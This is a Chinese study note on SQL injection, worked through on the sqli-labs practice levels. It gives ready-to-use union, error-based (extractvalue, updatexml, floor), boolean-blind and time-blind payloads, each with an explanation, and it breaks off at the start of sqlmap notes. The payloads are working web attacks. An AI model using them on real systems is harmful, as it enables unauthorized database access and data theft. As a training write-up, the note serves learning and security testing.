SQL入门

总结1（2021.8.11）

1、普通联合查询

样例payload：

Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' %23

最基础的；不解释了。

2、extractvalue、updatexml报错注入

样例payload：

Less-5/?id=1' union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema= database() limit 0,1))),3 %23

Less-5/?id=1' union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema= database() limit 0,1)),1),3 %23

解释：将需要查询的内容前置一个非法字符，写在两函数本应填写路径参数的位置，制造非法路径来获取回显信息，返回如XPATH syntax error: '~emails'形式

关键点：

（1）函数原型extractvalue(目标xml文档，xml路径)

updatexml(目标xml文档，xml路径，更新的内容)

（2）0x7e: ‘~’ ,常用非法字符

3、floor报错注入

样例payload：

Less-5/?id=1' union select 1,count(1),3 from information_schema.tables group by concat(floor(rand(0)*2),(select table_name from information_schema.tables where table_schema=database() limit 0,1)) #
（注：目前在本机Windows下，该注入方法因Can't write; duplicate key in table错误无法使用；不过可在buuoj使用）

解释：当最基本的union select查询无回显，但报错信息仍旧回显时，制造主键重复的错误来获取信息，返回如Duplicate entry '0emails' for key 'group_key' 形式。

关键点：（1）第一个union select后的count(1);

（2）之后的group by；

（3）再之后的concat(floor(rand()*2),(想查询的东西));

（4）最后limit x,1 查看第x行回显；若不加会回显Subquery returns more than 1 row

4、布尔盲注

需配合burp intruder食用。

样例payload：

Less-5/?id=-1' or (select ascii(substr(table_name,§1§,1)) from information_schema.tables where table_schema=database() limit 0,1)=§109§ %23

解释：当使用1-3注入方法均无含有效信息的回显时，利用布尔盲注逐字符试出想要查询的内容。

本题，当payload为真时，页面上会有You are in...........

字样，但payload为假时，啥都没有。

使用intruder Cluster bomb时，效果如图：

5、时间盲注

需配合sqlmap食用

样例payload：

Less-9/?id=-1' or if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)>102,sleep(2),0) %23

解释：当无论怎么搞，页面回显都巍然不动时，使用时间盲注。当满足if后面的条件时，页面会来回跳一段时间。此法也需要逐字符探测，且不能用intruder。

关键点：if(a,b,c) 如果a为真，就执行b，否则执行c。

Sqlmap使用（2021.8.31）

在sqlmap页面按【shift】右键打开powershell

0.预备知识

常用Sqlmap参数：

【--dbs】显示数据库